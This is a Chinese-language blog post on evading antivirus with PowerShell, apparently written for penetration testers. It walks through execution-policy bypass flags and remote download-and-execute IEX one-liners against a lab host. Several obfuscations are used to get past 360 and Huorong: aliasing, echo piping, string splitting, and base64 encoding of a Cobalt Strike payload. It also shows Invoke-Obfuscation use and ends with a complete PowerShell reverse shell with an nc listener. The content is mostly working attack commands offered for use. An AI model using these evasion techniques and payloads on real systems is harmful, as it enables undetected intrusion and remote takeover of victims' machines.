我的powershell免杀之路
。
实验环境:
一台WIN7专业版 360全家桶 火绒最新版本
首先我们要来了解一下powershell执行策略这一块的基础问题:
powershell有六种执行策略:
Unrestricted
权限最高,可以不受限制执行任意脚本
Restricted
默认策略,不允许任意脚本的执行
AllSigned
所有脚本必须经过签名运行
RemoteSigned
本地脚本无限制,但是对来自网络的脚本必须经过签名
Bypass
没有任何限制和提示
Undefined
没有设置脚本的策略
那么windows默认的执行策略是Restricted
,他是不允许任意脚本的执行
我们来查查当前目标机器的执行策略:
进入powershell查看执行策略 :Get-ExecutionPolicy
可以看到,此时我们运行保存好的tubai.ps1文件,当前策略是默认不允许执行脚本的
我们可以用管理员权限来修改默认执行策略,来达到执行我们ps1脚本的效果
Set-ExecutionPolicy Unrestricted(权限最高,可以不受限制执行任意脚本)设置执行策略
此时执行便不在报错,成功执行我们的脚本
当然我们在渗透中,遇到执行策略配置是默认不执行的,我们再去通过管理员权限去修改就太鸡肋,动作太大了,所以便有了绕过执行策略,去执行我们的脚本以及powershell命令,下面来介绍几种常见的绕过方式。
为便于演示,我们再次将执行策略设为默认不允许任意脚本的执行
Get-ExecutionPolicy Restricted
第一种:
以文件落地为例:
本地读取然后通过管道符运行
powershell Get-Content tubai.ps1 | powershell -NoProfile -
Bypass执行策略绕过
powershell -ExecutionPolicy bypass -File ./tubai.ps1
Unrestricted执行策略标志
powershell -ExecutionPolicy unrestricted -File ./tubai.ps1
可以看到以上bypass方式均成功绕过执行策略。
以文件不落地为例:
远程下载并通过IEX运行脚本
powershell.exe -nop -w hidden -c 'IEX ((new-object net.webclient).downloadstring('http://192.168.52.23:80/a'))'
这个下面的绕过思路会细谈。
我们直接cs生成
powershell.exe -nop -w hidden -c 'IEX ((new-object net.webclient).downloadstring('http://192.168.52.23:80/a'))'
这条命令主要做了哪些事?
利用downloadstri远程读取powershell文件并iex执行,即http://192.168.52.23:80/a下的文件。
iex => Invoke-expression 将字符串当作powershell代码执行
我们直接在目标机运行发现被拦截:
那我我们可以根据powershell语言的特性进行混淆,例如字符串转换、变量转换、编码、压缩等等来绕过AV达到上线
为iex设置别名
powershell set-alias -name cseroad -value Invoke-Expression;cseroad(New-Object Net.WebClient).DownloadString('http://192.168.52.23:80/a')
目标机器无拦截,绕过360与火绒成功上线
2.远程下载并通过IEX运行脚本,这里我们采用echo方式
echo Invoke-Expression(new-object net.webclient).downloadstring('http://192.168.52.23:80/a') | powershell -
目标机器无拦截,绕过360与火绒成功上线
3.利用' '拼接http达到上线(典型的powershell语法特性,以变量的方式来拆分HTTP)
powershell -c 'IEX(New-Object Net.WebClient).'DownloadString'('ht' ’tp://192.168.52.23:80/a')'
首先来生成一个原始的cs上的powershell脚本
Powershell -ExecutionPolicy Bypass -File ./payload.sp1
在目标机器执行发现被杀
那么我们对生成的payload.ps1原始代码进行分析
可以看到它是把字符串进行加载,我们来整个进行一个base64编码然后在解码后加载
解码加载
解密后变量=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(加密后变量))
此时去执行上线
运行我们修改后的
Powershell -ExecutionPolicy Bypass -File .\payload.sp1
可以看到杀软无反应,绕过了AV拦截成功上线
https://github.com/danielbohannon/Invoke-Obfuscation
这个powershell混淆编码框架,这也是著名的组织APT32 (海莲花)经常使用的一个工具。
还是准备一个cs生成的payload.ps1,按上面的方式生成即可,不再重复。
1.我们来装载框架进入Invoke-Obfuscation
Import-Module ./Invoke-Obfuscation.psd1
Invoke-Obfuscation
2.接下来设置ps1文件进行混淆,按图操作即可
set scriptpath E:\...\Invoke-Obfuscation_PowerShell\payload.ps1
输入ENCODING 就会列出以下几种编码方式
encoding
1
3.输出文件:out 2.ps1
4.接着我们去目标机器运行生成的2.ps1
去运行上线:./2.ps1
可以看到无拦截
同样执行上线
在实际渗透中,对cmd的防范比powershell更加严格,所以我们在操作中通过弹一个powershell出来执行,更加方便安全。
我们在目标机器执行
powershell -c '$client = New-Object Net.Sockets.TCPClient('192.168.52.134',7777);$stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback=(iex $data 2>&1 | Out-String );$sendata =$sendback 'PS >';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendata);$leng=$sendbyte.Length;$stream.Write($sendbyte,0,$leng);$stream.Flush()};$client.Close()'
此时我们VPS监听便弹回了一个目标机器powershell
vps监听 nc -lvp 7777
参考:
https://www.freebuf.com/articles/system/227467.html
https://www.jianshu.com/p/fb078a99e0d8
https://blog.csdn.net/zhangge3663/article/details/111945373
总结:powershell在内网渗透中应用广泛,远不止免杀与信息收集,以后会出更多的红蓝对抗系列给大家。本文介绍了执行策略问题与绕过策略方式,以及命令混淆与代码混淆来达到绕过AV上线的方式,站在前人的肩膀上思考并看问题。各位有任何问题关注我们公众号私信或联系到我即可,大家有兴趣可以和我们一起研究与探讨技术。